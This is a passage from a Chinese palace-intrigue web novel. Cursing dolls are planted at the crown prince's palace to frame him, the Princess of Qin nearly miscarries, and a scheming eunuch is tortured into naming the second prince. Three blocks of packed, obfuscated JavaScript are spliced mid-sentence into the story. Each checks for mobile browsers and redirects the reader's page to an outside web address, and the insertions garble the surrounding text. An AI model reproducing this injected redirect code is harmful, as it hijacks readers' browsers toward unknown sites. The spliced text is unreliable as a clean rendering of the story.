树干是粗一些的金丝缠绕在一起的,仿照着桂枝的生长趋势,蜿蜒向上,其中再穿插着细金丝累成的朵朵盛开绽放桂花,中间还镶嵌着米粒大小的珍珠做花蕊。风一吹,枝头的桂花还会随风摇曳。远远看去,与真的别无二般。 “真是巧夺天工啊!” “贵妃娘娘真是好巧思!” “你们闻,还有一股若有若无的桂花香味呢!” “是啊是啊,淡淡的一股桂花香!” 天下竟有如此巧夺天工之手艺!众人看到桂树,真是应景,纷纷赞叹起贵妃娘娘心思精巧。 六皇子刘赞凑到刘宁和刘昶的耳边,得意炫耀道:“这株金桂树,可是我想方设法弄到的,怎么样!” 刘宁道:“不错不错,难怪你先前瞒着我。” 刘赞道:“若提前告诉你了,哪里还有现在的惊喜呢?” 吴忠义抬眼瞄了眼二皇子刘仲,找准时机,在承道帝旁边进言道:“陛下,奴才听说若论起桂花,当属东宫的金桂开得最好,隔老远都还能闻到桂花的香味呢。” 承道帝醉眼朦胧,笑着点头道:“好好好,去折枝东宫的金桂来,供大家赏玩。” 吴忠义笑着劝道:“陛下,今夜中秋月圆之夜,自然是月下赏桂最佳,那才别有一番意趣呢!” 刘仲此时站出来,配合道:“父皇,何不带儿臣们一同去观赏?” 41. 巫蛊(十一)桂下人偶 承道帝几杯酒下肚,带了些醉意,觉得这个提议好,当即就要带着大家一起去东宫赏桂。 去东宫赏桂?如此大费周章,岂不过于麻烦?永安长公主刘安当即站出来,笑着劝道:“父皇,现在夜深露重的,光线昏暗,时间又不大充裕,只怕不能更好地欣赏到金桂呢,不如明日再去吧。” 太子刘牧接过话茬,起身劝道:“父皇,大姐姐说的对,今日赏桂太过仓促,不如明日再去吧,儿臣也有时间好好准备此事。” “贵妃娘娘操办宫宴花了不少心思,若去东宫赏桂,岂不浪费了贵妃娘娘的巧思?” 承道帝本来就是临时起意,现在听他们这么说有些动摇了,“那……” 贵妃见状,也劝道:“陛下,臣妾——” 吴忠义见承道帝要改变意见,忙出言打断:“陛下,正是今日中秋节赏月品桂才格外有意义,若换到明日,那不就很普通了吗?反而少了一番风味啊!” 承道帝有些醉意,觉得吴忠义说得也很对,不过就是让大家一起去乐呵一下,也没什么,当即带着众人一齐去太子的东宫赏桂。 英王刘元咳了几声,便提出要回宫歇息:“父皇,入秋了,夜深天冷,只怕风更大,儿臣身体孱弱,受不了累,就不同去了。” 承道帝一挥手,允了英王的请求。 四皇子刘茂担忧还朝,怕还朝劳累,低声道:“还朝,如今你还怀着身孕,我们也去歇息吧。” 还朝笑着拒绝道:“四郎,父皇现下正在兴头儿上,我们可别扫了父皇兴致,也跟着同去吧。横竖都有步撵,哪里就能累着了呢?” “我也想看看东宫的桂花,看看到底好在哪里,能让大家都称赞不绝。” 刘茂无奈,只得由着还朝,随后取下自己的披风,为还朝披上:“外面风大,你披上,小心受凉。” 还朝笑着点头应下。 怎么这吴忠义今夜一直在旁引导父皇前去东宫?永安长公主刘安察觉到一丝异样,但是无凭无据,也不好多说什么,只得跟着承道帝一齐去,看看这吴忠义到底要耍什么花招。 东宫的金桂果然开得很好,香气四溢,飘得满宫都是,还没到跟前儿呢,桂花的香气钻进每个人的鼻腔了,众人都沉浸在了桂花的香气之中。 承道帝看着满园金桂繁花盛开的景象,又看到其乐融融、言笑晏晏的众人,觉得自己不再是高高在上的一国之君,现在只是个一家之主,只是个带着晚辈们玩乐的一家之主。 此情此景,承道帝不禁有些恍惚,像是回到了过去,回到了从前做信王的时候。那时的自己也是像现在这般的无忧无虑,充满闲情雅致。 承道帝心情大好,一时间也来了兴致:“果然不虚此行,此情此景,不如行个飞花令来助助兴,咱们一家子也齐乐一下。” 承道帝环视一圈,当即点名道:“牧儿,从你先开始吧。” 太子刘牧应声站出来,看着满树的桂花,踱了几步,脑中有千言万语,但一时之间不知道该说哪句了,“嗯……” “该罚!”太子妃温嘉诚见状,笑着将酒杯递到太子嘴边,打趣道:“罚殿下饮酒一杯。 众人也纷纷起哄,闹着笑着:“该罚!该罚!” 太子刘牧眼底带笑,取过温嘉诚手中酒杯,一饮而尽,末了还向众人展示空杯,随即又期许地望向太子妃,笑道:“不妨请太子妃来接这第一句。” 太子刘牧一边斟酒,一边笑着打趣道:“酒已备好,这杯酒谁来喝,就看太子妃的本事了。”说罢,将斟满酒的酒杯举到温嘉诚眼前。 “这有何难?”温嘉诚自信一笑,双眼含情地盯着太子道:“若我说出来,太子殿下可要饮了这杯。” “好!” “谁!”七皇子刘昶大喝一声,随后追了过去。 众人的目光都被这一声吸引过去,纷纷扭头看去,只看到黑影一闪而过,七皇子紧随其后,追着那个黑影。 太子刘牧和太子妃温嘉诚见状,收起了方才的笑容,当即传令让东宫的护卫前去追查。 承道帝也很是好奇到底是怎么回事,随后便带着众人一起追着七皇子刘昶的身影赶过去。 刘昶追着那黑影追至太子寝殿外,那黑影就没了踪迹。 太子刘牧和温嘉诚不安地对视一眼,不明所以,脸上满是疑惑与不安。 众人跟着七皇子刘昶来到了太子的寝殿处,映入众人眼帘的是一棵枝叶极其繁茂的桂树,这棵桂树花开得更盛,香气也更加浓郁,再配上空中那轮金黄的圆月,就如一副锦绣画卷,美得入画。 众人叹为观止,望着这棵桂树连连赞叹,皆以为那黑影是太子特意安排的,因此纷纷夸赞太子。 “太子殿下真是精巧心思,让咱们来观赏此等美景。” “太子殿下真是有心了。” 太子刘牧此时并不知道黑影是哪儿来的,闻言狐疑地望向太子妃温嘉诚,只当是太子妃安排的。 但温嘉诚此时也是满脸的疑惑,她并未安排此事,那黑影也是第一次见,所以黑影到底是哪儿来的?到底是怎么一回事? 太子刘牧见温嘉诚也是一脸不解,心中了然。 如今父皇在东宫,这黑影又恰巧此时出现,若查不出这黑影的来源,只怕会引起恐慌,到时再落个看管不严、治宫不善的罪名,被有心之人抓住把柄,那可就麻烦了。 太子刘牧当即站出来,承认了黑衣人是自己安排的,为的就是让大家欣赏这美景。 众人听后,又是纷纷夸赞太子。 承道帝也对太子的心思很是满意,称赞道:“太子有心了。” 平白无故在东宫出现的黑衣人,太子觉察出有些不妙,趁着众人都在赏桂的时候,找到刘昶,低声询问道:“七弟,你一路追过来的,可有什么异样?” 温嘉诚追寻着太子的身影,也凑了过来。 刘昶摇头道:“那黑影反应极快,对东宫极为熟悉,我一路追到寝殿外,那黑影绕过那棵桂树,穿过一片阴影后便没了踪迹。” 温嘉诚忧心道:“殿下,不如让我带人去寝殿内……” 太子摇头否认,顿感不妙,无奈深吸一口气,眼下皇室宗亲都在此处,不好大肆搜查,当即便安排护卫先去偏僻的宫室追查那黑衣人的踪迹。 可黑衣人早已走远,只怕不好查? 吴忠义伴在承道帝左右,搀扶着承道帝一步一步走近桂树,待看到桂树下面的泥土有被翻动的痕迹,便千方百计地引导着承道帝去注意泥土的异样。 承道帝喝得有些醉,再加上晚上光线不好,压根就没怎么注意到泥土被翻动,看过金桂后转身就要离开。 有人指着太子寝殿外台阶上的一个布包问道:“那是什么?” 另一个人低声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274238|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“好像是那黑衣人掉落的东西吧。” “难道太子殿下还准备了别的惊喜?” 众人的目光都被那布包吸引了过去,又满眼期许地望向太子。 承道帝此时也注意到了那个布包,当即命吴忠义去取。 吴忠义走过去后,小心翼翼地打开包裹,待看到里面里面的物件后,怔了片刻后脸色大变,哆哆嗦嗦地跪在地上,不敢拿给承道帝看,嘴里不住地喊着:“陛下,还是不要看了。” 到底是什么东西,竟吓成这样,不敢拿给他看?承道帝疑惑,微微偏头,给了身后的吴善辅一个眼神。 吴善辅得令,忙不迭地小跑过去。 因承道帝近来多让吴忠义在近身伺候,对吴善辅多有冷落。如今见吴忠义办事不利,陛下又想到自己了,吴善辅顿时来了底气,冷哼一声,一把从吴忠义手上夺过包裹。 他倒要看看,究竟是什么东西。 不料吴善辅打开一看,脸色瞬间变得煞白,愣在原地。 承道帝见吴善辅也是这般神情,顿时带了些怒气,冷冷喊了一声:“吴善辅!” 吴善辅这才回过神来,像方才吴忠义那般,扑通一声跪在地上,不敢将这东西拿给承道帝看,也不敢抬头看 在旁围观的皇室宗亲们看到这一幕,不禁愕然,皆面面相觑,纷纷噤声,不敢多言。 承道帝愠怒,道:“安儿,你把那东西给朕拿过来,朕倒要看看,到底是什么东西,能把他们两个吓成这样。” “是。”永安长公主刘安见此情形,心中涌起一股不好的念头,但不得不遵命前去。 刘安接过那包裹,战战兢兢打开,发现包裹里面是一个穿着黄袍的人偶,还浑身还扎满了。 刘安犹豫间,又把人偶翻到背面,只见人偶背面扎了张纸条,纸条上写着“四月廿八”。 这四月廿八正是承道帝的生辰! 这个人偶在东宫被发现,定与太子脱不了干系!刘安失语,一时间也不知道该怎么办。 如若将这人偶拿给父皇看,只怕有废黜太子的可能,可若不拿过去,眼下这么多人看着,又有什么借口能够摆脱摆脱太子的嫌疑? 刘安心跳加速,眼睛飞快地扑闪着,可心里乱作一团,毫无头绪可言。 承道帝见刘安也愣在原地不动,便上前数步,亲自去拿。他倒要看看到底是什么东西,竟让他们三人都不敢拿与他看。 待承道帝夺过刘安手上的东西,打开一看,竟是个浑身扎满针、穿着黄袍的人偶! 这人偶出现在东宫,又是太子安排的人掉落的,太子竟然敢用这巫蛊之术诅咒自己! 承道帝大怒,将人偶重重地摔在地上,许久未说话。 众人见到摔在地上的人偶,纷纷低头跪下,生怕会承受到承道帝的怒火,皆不敢多说一句话多发一个音。 一时间承道帝怒火攻心,眼前一黑,身子直挺挺地朝后倒去,幸而身后的侍卫、近侍眼疾手快,扶住了承道帝。 “父皇!” 永安长公主刘安和太子刘牧纷纷冲到承道帝身边,查看承道帝的情况。 承道帝缓缓睁开双眼,看到眼前的太子,抬手给了太子一巴掌。 随即下令道:“来人,将太子和太子妃禁足于东宫,东宫上下一应人等,不得随意走动。” “即刻起,搜查东宫!” 42. 巫蛊(十二)矛头所向 承道帝看着东宫乱糟糟的,转身就走,不愿多待。 宴席也因此不欢而散,众人皆呆愣茫然地跪在原地,不知所措。 “啊!” 秦王妃还朝怀孕近八个月,跪得有些久,小腹已有不适。方才事发突然,还朝强忍着不适,岂料这会儿小腹突然疼痛,不由得惨叫一声。 众人的目光皆被吸引过去。 秦王刘茂忙起身,扶住歪倒的还朝,惊慌失措道:“还朝!你怎么样了?” “孩子!四郎,我们的孩子!”还朝痛苦地捂着肚子,有气无力地痛哭道。 贵妃着急道:“先把人送到偏殿去吧!” “快去传御医!” 刘茂当即忙抱起还朝上了轿撵,命人朝着偏殿赶去,嘴上不停地安慰着还朝,也同样安慰着自己:“不会有事的,不会有事的,一定不会有事的。” “四郎,我怕……我怕……” 还朝紧紧攥住刘茂的手,不肯放手,她害怕,她怕今晚的事会和刘茂有关,她怕她松手之后后就再也见不到刘茂了。 “还朝,你不用怕,你一定会安然无恙的,你一定不会有事的。”刘茂也紧紧握着还朝的手,跟着轿撵一路奔跑直至偏殿。 贵妃、宁乐公主刘宁也跟着秦王刘茂去了偏殿。 人群中不知谁喊了一声:“血!” 众人顺着声音看过去,还朝跪着的地方留下一滩鲜血,现场更是乱成了一锅粥。 永安长公主刘安趁乱找到七皇子刘昶,让刘昶将今夜发生的事情告知英王刘元,安排好后,赶忙跟上承道帝。 刘茂守在还朝身边,因为害怕,身体忍不住地发抖。 贵妃、刘宁也守在还朝身边,在一旁焦急地等待。 “贵妃娘娘,二位殿下,烦请去外殿候着吧。” “阿宁——” “茂儿——” 刘茂声音颤抖道:“不……我不出去,我要在还朝身边,我要陪着还朝……” 贵妃无奈,只得由着刘茂,先带着刘宁到了外殿。 刘宁忧心不已:“母妃,嫂嫂她……她……” 贵妃压低声音,冷言道:“今日之事,与你们有多大干系?” 刘宁信誓旦旦道:“母妃,今日之事,与我和哥哥,绝无半点干系。” “说不定是太子心思阴毒,用这种巫蛊之术诅咒父皇呢,事情并未查清,母妃怎么倒把这件事情推到我与哥哥头上?” “无关?太子倒台后,诸多皇子之中,谁会受益?除了秦王,还有旁人吗?绝无干系?你觉得你父皇会信吗?” 贵妃听后,满脸怒意地看向刘宁,反手给了刘宁一巴掌,怒不可遏道:“先前我与你说过的话,你都当成耳旁风了吗?” “母妃——” 刘宁眼眶通红,反驳道:“母妃,这太子之位,原本就是哥哥的,我们如今要夺回属于我们的东西,为什么就不能争了呢?” 刘茂与刘宁这对龙凤胎出生时,天降异象,乃圣人之象。皇后比贵妃的产期晚了一个月,若非皇后使了手段耍了心机,先于贵妃诞下皇子,太子之位怎么轮得到刘牧?皇后之位又怎么会在颖州蔡氏手上? 贵妃听后,质问道:“争?你们还要争什么?你们想争什么?” “太子已立二十余年!这二十年间,你父皇为他铺了多少路?” “朝中重臣,多出自东宫门下,就连守卫京城的护城军,早就交到太子手中,晋国公更是位列国公之首。” “太子妃温氏,更是出自手握重兵的温国公府。” “更别提最受宠的长公主、英王、六皇子等人,都一心追随辅佐太子……” “钱、人、兵、权,乃至民心,都心向太子,你们……你们又那拿什么同太子去争?” “凭你们这些阴谋诡计吗?” 刘宁见贵妃这般怀疑自己与刘茂,捂着红肿的脸庞,不可思议地望向贵妃,当即为自己辩驳道:“母妃,巫蛊之事太过阴毒,我和哥哥即便是再怎么和太子争,也会堂堂正正,光明正大地去争。” “断然不会用这种栽赃陷害的手段!这也未免太过阴毒了。” 贵妃虽心中存疑,但还是舒了一口气:“最好不是你们。” 承道帝带着刘安来到偏殿,见宫人们端着一盆盆的水在偏殿进进出出,心顿时沉了下来,问道:“秦王妃怎么样了? 贵妃道:“陛下,情况不是很好。” 承道帝点点头,道:“秦王妃远道而来,万不能出事。” “安儿,你带着宁儿先下去吧。” 刘安应声:“是。” 刘宁道:“父皇!” “阿宁。”刘安侧身看了眼刘宁满脸不情愿的刘宁,轻喝一声,当即拉着刘宁就去了别处。 承道帝见二人离去,阴沉着脸走到贵妃身前,还不待贵妃言语,抬手便是一巴掌。 “陛下——”贵妃惊恐跪下,不可置信地抬头望向承道帝。 “看来是朕太过纵容你们了,后权在你手上竟让你生出了旁的心思。竟还把手伸到了东宫!” “朕将秦王和秦王妃留在京中,是念及秦王妃有孕辛苦,不是让你们胡来的。” 贵妃惊恐道:“陛下着实冤枉臣妾了!” 承道帝冷哼一声:“冤枉?中秋宫宴是你花心思办的,如今又弄出来一出事儿,你冤枉?你们的心思昭然若揭,朕会冤枉你?” 承道帝弯腰,盯着贵妃的眼睛,道:“茂儿回来的?你们往来多少封书信,你当朕什么都不知道吗?” 陛下竟什么都知道! 贵妃当即惊出一身冷汗,而后声泪俱下道:“陛下,夺嫡之路凶险万分,稍有不慎便会万劫不复,臣妾与茂儿母子分别数十年,如今得以团聚,又怎会让他再身入险境?” 贵妃发誓道:“臣妾即便对皇后再怎么不满,也断然不会做出这种阴毒之事!” “还望陛下明查!” “还我们母子清白!” 说罢,贵妃的额头重重地磕在地上。 承道帝打量一番伏在地上的贵妃,弯腰上前,将贵妃扶起,拂去贵妃脸上被泪水打湿而粘在脸上的头发,待看到贵妃磕破红肿的额头后,有些心软,道:“你起来吧。朕自会查明真相。” “陛下,娘娘,秦王妃肚子里的孩子保住了。” 贵妃欣喜转身,又担忧问道:“秦王妃呢?” “王妃太累,已睡下了。” 贵妃听后,抚着胸口长舒一口气,脸上有了笑容。 承道帝也松了口气,道:“秦王妃无事便好。” 贵妃道:“夜深露重,陛下先回去歇息吧,这里便交给臣妾吧。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274239|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>贵妃见承道帝离去,转身来了内殿。 秦王妃还朝睡下,内殿已无了方才的喧闹。 贵妃上前走至床前,见刘茂伏在床边睡着,于是轻声唤道:“茂儿。” “母妃。”刘茂扯出一个笑容,释然道:“还好,无碍。” 贵妃道:“你出来,我有话同你讲。” 刘茂起身,低头看向还朝紧握着他的手,便道:“母妃,有什么话在这里说吧。” 贵妃瞥了眼熟睡的还朝,思量再三,犹豫开口道:“我只问你,今夜之事,是否与你有关?” 刘茂迟疑片刻,目光落在床上的还朝身上,缓缓道:“无关。今夜这巫蛊一事,我全然不知。” “当真?” 刘茂犹豫片刻,坚定道:“当真。” 贵妃见刘茂回答多有迟疑,心中隐约已猜到答案,联想到刘宁的言语及反应,忧心道:“茂儿……” “母妃,太子倒台,最大的受益人是我,若真是我策划的巫蛊一事,明眼人一看便会猜到与我有关,岂非太过显而易见?” “何况还朝有孕在身,我断然做不出巫蛊这等阴毒之事。” 贵妃看了眼还朝,劝道:“茂儿,还朝千里迢迢跟随你来到大江,如今又身怀有孕,眼看不日便要生产,万不可……万不可……” 贵妃不忍心再说下去,便岔开话题道:“茂儿,待还朝产子后,你们便回陌南吧。陌南富庶,你们便安生地过日子,不要再……” 刘茂语气坚定道:“母妃,我既然从大胡回来,便没打算做个闲散王爷。” “在我们回来之前,我便立下誓,今生,必登帝位,必让还朝坐上后位。” “你要……你要夺嫡?你还不肯放弃吗?” “我为什么要放弃?太子之位本来便是我的,我拿回属于自己的太子之位,怎么就算是夺呢?” 贵妃失语,被气得紧闭双眼:“你……” “你看着还朝,为着今晚的事,她险些……茂儿,怀孕生子于女人是鬼门关上的事,今晚已是走运,若像……若像皇后当年那样早产生子,可就伤身了。” “再者,夺嫡之路凶险,你怎可忍心让她陷入如此险境?” “什么后位,皆是虚言。还朝满心满眼都是你,你以为,还朝会想要那劳什子后位吗?” 刘茂握紧还朝的手,盯着还朝的睡颜,认真道:“她不要,但我不能不给,这是我给她的承诺,我给她父汗的承诺。” “我可不会像父皇那样,做个皇帝还要委曲求全。” 贵妃闻言,自知无法改变刘茂的想法,只能无奈摇头叹了口气,道:“我只愿,你不是空欢喜一场,我只愿将来不是白发人送黑发人。” “母妃安心即可。” 贵妃嗤笑一声,“你们这般行事,我如何能安心?” “我方才还同你妹妹讲,太子已立二十余年,你父皇早就为他铺好了路,打点好一切,要什么有什么,权财兵政尽在他手,你与他去争,并无胜算,你又何必去冒这个险呢?” 刘茂闻言,低头不语。 贵妃见刘茂目光落在还朝身上,也看向还朝,心疼道:“你看着床上的还朝,你看着她现在的样子,她险些就……” “她已在鬼门关上走了一遭……你!你……” “你好好想想吧。” 43. 巫蛊(十三)不忠不义 承道帝坐在书桌前愣神,一坐便是一夜。 天微微亮起,在东宫搜查的侍卫前来汇报:“陛下,在太子寝殿外的一棵桂树下面,发现了一个人偶。” 随即侍卫将树下发现的人偶呈到承道帝面前。 这人偶同昨日黑影留下的那个人偶一样,也是一副穿着黄袍、浑身扎满针的装扮。 侍卫继续汇报道:“此外,东宫还有一个扫撒的小太监说,太子经常站在那棵桂树下。” 承道帝默不作声,怔怔地看着那人偶出神。 如今人证、物证都直指太子直指东宫。 可凭承道帝对太子的了解,太子完全没有理由做出这些事来诅咒他,太子人品敦厚,也断然不会做出这种阴毒之事。再者,他也完全不相信太子会做这种阴毒之事。 今晚的这一切来得太过于突然,太过于巧合。 吴忠义见承道帝看那人偶看得出神,不知在想什么,于是便壮着胆子上前问道:“陛下,眼下要如何处置?” “秦王妃那边怎么样了?”承道帝并不搭这一茬,反而岔开话题,问到了秦王妃的情况。 “王妃见红,贵妃娘娘、四殿下、在王妃身边守了一夜,现已稳住,还望陛下安心。” 承道帝听后闭上双眼,双手扶额,长叹一声。 吴忠义见承道帝只是禁足了太子,并不愿继续处置,眼看太子倒台就在这一瞬间了,自然不肯放弃,继续追问道:“陛下,太子和太子妃要如何处置?” 吴忠义不放弃,继续试探着追问:“陛下?” 这小兔崽子有些不对劲! 吴善辅联想到昨日中秋宫宴上吴忠义的举动,察觉到一丝异样。 昨日宫宴,吴忠义先是将微醺的承道帝引到太子的东宫,随后又率先发现黑衣人留下的木偶,再到现在的一直追着承道帝处置太子…… 这小兔崽子竟想着陷害太子!吴善辅惊出一身冷汗,不敢再继续想下去了。诬陷太子那可是要诛九族的! 承道帝也察觉到了吴忠义的异样,自昨夜起,吴忠义便一直在他的面前上窜下跳,甚是可疑。 难道东宫内发现的巫蛊与吴忠义有关?那吴忠义背后那人又是谁?秦王刘茂? 巫蛊一事一出,诸多皇子中唯有秦王刘茂可堪大用……可昨夜贵妃还在他面前信誓旦旦地担保此事与秦王绝无干系…… 承道帝一时间也没了思绪。 “你去,让长公主来见朕。”承道帝不搭理吴忠义,指着吴善辅道。 “是。” 吴善辅垂头应下,走之前还狠狠瞪了吴忠义一眼。 先前吴善辅只以为吴忠义要在陛下面前邀功争宠,没想到他如今竟这般胆大,竟然都敢插手皇子间夺嫡的事儿了! 之前怎么没发现这小兔崽子的野心这么大?只是不知道他为哪位皇子办事,是哪位皇子的眼线? “陛下——” 吴忠义急了,还想再说些什么。 承道帝紧闭双眼,不耐烦道:“你们都下去吧。” 福宁殿的宫人们应声离去,吴忠义别无他法,也缓缓退下,事情进展与他们预想的不一样,他得快些将消息传递给出去。 “父皇!” 永安长公主刘安来到福宁殿,见承道帝在闭目养神,不敢打扰,只垂手侍立在旁。 刘安不可置信地看着眼前的承道帝,面容憔悴,头发凌乱,已无往日的风采。 不过才一夜的功夫,父皇头上便添了不少白发。 承道帝见刘安在他身旁,卸下防备,嘴角扯出一丝苦笑:“你来了。” “父皇……”刘安语气有些哽咽,眼中满是心疼地望向承道帝。 承道帝有气无力道:“安儿……昨夜东宫……你怎么看?” 刘安不敢去想昨夜发生的事,垂头道:“父皇……儿臣不敢妄言……” “呵……福宁殿没有外人,你……但说无妨。” 刘安想着昨夜发生的一切,先是贵妃抬出金丝累成的桂树,再到吴忠义顺理成章地提出东宫赏桂,最后发现黑影,一行人跟着黑影来到东宫太子寝殿外,又恰巧发现了穿着黄袍的巫蛊木偶,整件事情都与贵妃和吴忠义有着千丝万缕的联系。 贵妃与皇后不对付、太子又与秦王一向不对付。如今皇后被禁足,晋国公一脉又多被贬黜,难保有人不会生出多余的心思…… 若太子倒台,最得意之人只怕便是秦王,只是……这样的计谋是否太过浅显? 是背后另有其人?还是……秦王和贵妃胆子如此大? 不过吴忠义又是谁安插在福宁殿的眼线呢? 刘安有些不确定,犹豫开口道:“似与……似与贵妃娘娘和父皇身边的那个近侍有些关系……” 承道帝点点头,道:“朕也是怀疑他们二人,但贵妃背后牵扯太多,只怕追查起来不易。” 承道帝顿了顿,道:“不还有一个吗,就先从他开始查吧。” 刘安应下,她也觉得吴忠义不对劲。 在殿外候着的吴忠义、吴善辅二人见刘安迈出福宁殿,忙凑上前去探听消息。 吴忠义更是急不可耐,他此时急切想知道承道帝下一步是否要处置太子,忙问道:“长公主殿下,不知——” 永安公主抬眼冷冷看了一眼吴忠义,不待吴忠义说完,当即呵斥一声:“来人,把他绑起来!堵住他的嘴!” 御前侍卫当即以迅雷不及掩耳之势把吴忠义擒住,捆得结结实实的,按永安长公主的旨意将人押到了别宫。 刘安看着被扔在地上五花大绑的吴忠义,命人取下了他嘴里塞的布,质问道:“是谁?指使你诬陷太子?” 吴忠义知道自己已经暴露没用了,为了不暴露他背后的人,不屑地哼了一声,倔强地将头扭过去,一句话也不肯说。 “用刑。” 刘安见吴忠义这幅样子,也知不用刑是不行了,也不多废话。 刘安又不放心地叮嘱道:“仔细些,可别让他自尽了。” 吴忠义的嘴又重新被堵上,被侍卫带下去受刑。 吴忠义被带到偏殿,看到那些要用在他身上的刑具,残忍,冰冷,刑具上似乎还有一个个亡灵冤魂在向他招手,在向他呐喊。 吴忠义本能地往后缩着,不敢靠近。 侍卫们死死按住吴忠义,一人先是将吴忠义的手指塞进刑具里,另有两人用力地拉动着刑具。 行刑开始。 “唔!”手指上传来的阵阵钻心的疼痛,让吴忠义忍不住地惨叫出声。 “这只是第一道刑罚,你若受不住,不如早点招了,免受皮肉之苦。” 吴忠义疼得额头上沁出颗颗黄豆般大小的汗珠,但还是摇了摇脑袋,除了出声的惨叫,不肯再多说一个字。 行刑之人见吴忠义这么倔强,不禁又加大了行刑力度。 终究是血肉之躯,吴忠义再也扛不住了,疼得晕了过去。 行刑之人又朝吴忠义脸上泼了盆冷水,将吴忠义弄醒后,又换了道刑罚。 吴忠义就这样疼得晕了醒醒了晕,足足把十八道刑罚受了十道,才决定松口供出幕后主使。 但吴忠义只肯说与永安长公主一人听,因为侍卫前来请示刘安: “长公主殿下,吴忠义说兹事体大,只能告与殿下一人知晓。” 刘安闻言,缓缓睁开双眼,思忖片刻后,不慌不忙地站起身来,缓缓道:“本宫去看看。” 刘安知道,无论吴忠义供出来哪个皇子,亦或者哪位嫔妃,都会是皇室的丑闻,不可外传。 故而在行至偏殿门前,刘安停下脚步,对着门外的侍卫特意叮嘱道:“传本宫的令下去,都退至十步外,没有本宫的旨意,不许任何人靠近。” 嘱咐完后,刘安徐徐进入偏殿,看到了奄奄一息的吴忠义。 只见吴忠义如一滩烂泥般地瘫在地上,裸露的皮肤上布满触目惊心的伤痕,衣物上也析出一道道的血痕。 刘安见他受刑时竟一声不吭,不由得多了几分欣赏,道:“受了十道刑罚还一声不吭的,是个人物了。 刘安怜悯道:“你要是早这么聪明,早些招供,又何必受这么多罪呢?” “说吧,是谁指使你的?”虽然刘安先前已猜到了此事与四皇子有关,但那也只是猜测,这件事情还有很多疑点,还是要拿到实质的证据。 吴忠义眼神空洞地盯着刘安的方向,一言不发,嘴角上扬,脸上神情甚是嘲讽。 刘安见吴忠义这般消遣自己,不由得冷笑一声,怒斥道:“吴忠义?尽心为忠,刚正为义,如今你却欺君罔上,与旁人相互勾结,尔有何忠,尔有何义?哪里配得上陛下赐名忠义二字?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274240|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刘安见吴忠义依旧一声不吭,缓了脸色,轻掩着鼻子凑近吴忠义,诈问道: “是英王刘元?” 刘安加重语气:“还是秦王刘茂?” 问罢,刘安仔细观察着吴忠义的表情,想从吴忠义的反应来确定他背后的人。 吴忠义闻言冷哼一声,眼中满是挑衅。 刘安吴忠义这般反应,也不恼,呵笑一声:“我原以为你是个聪明的,没想到也是个蠢笨的。都什么时候了,还替他们遮掩。” “看来你是要将这十八道刑罚一一用遍才肯说啊!” 刘安见吴忠义脸上毫无动容之色,面上带笑,不急不徐道:“在这十八道酷刑中,有一道叫‘生唇点珠’,你可知是什么吗?” “行刑官们会准备好一根烧红的铁棍,让受刑之人含住,受刑者的唇角便会被烫得生起水泡,看着就像嘴角挂了一串珠子一样,颗颗盈润饱满,故而称之为生唇点珠。” “我原先也并不知道这个刑罚到底是什么,毕竟大江建国这么多年来,鲜少有人用过。” “也是前几日翻阅史书时才见到。元启帝的贵妃赵氏,毒害君王,受的就是这一道刑罚。” 刘安掩嘴轻笑一声:“你如今能用尽这十八道刑罚,也算得上是青史留名。” 刘安撇下吴忠义,转身朝着门口大喊一声:“来人——” 吴忠义高喊一声:“是二殿下!” 刘安闻言驻足,不可思议地看向吴忠义,质问道:“什么?” 刘安不敢相信自己耳朵所听到的,此事竟然与二弟刘仲有关,竟然是他…… 吴忠义又是怎么和刘仲勾结在一起的? 刘安带着满腹的疑惑,大步走向吴忠义,问道:“你方才说什么?昨日东宫一事,与二皇子刘仲有关?” 吴忠义大笑几声,质问道:“长公主,你信吗?” “就算你信,陛下会信吗?用刑讯逼供得来的证词来昭告天下,天下人会信吗?” “长公主与蔡桐素有嫌隙,而蔡桐所作所为皆在太子示意之下,长公主难保不会对太子心生怨怼……” 事情败露,吴忠义早已做好赴死的准备,但在赴死之前,他还要拖更多人下水,他还要把局面搅乱,搅得越乱越好。只有这样,刘仲才有机会。 吴忠义癫狂大笑几声,面目几近扭曲,道:“构陷太子,污蔑皇子,殿下可知是什么罪吗?” “好一个吴忠义,真乃无忠无义小人也!” 好心机,好手段,竟然算计到她头上了,还想着拉她下水!刘安气急反笑。 不过单凭这几句话也说明不了什么,只是一旦与构陷太子之事有牵连,将来只怕会风波不断。 刘安冷笑一声,不待她有所反应,吴忠义嘴角已渗出一丝鲜血。 不好,他要自尽!若吴忠义死无对证,那自己才真是有口也说不清了。 “来人呐!”刘安急忙上前,用力捏住吴忠义的下巴,欲掰开吴忠义的嘴。 吴忠义脸上青筋暴起,死死咬住舌头不肯松口。 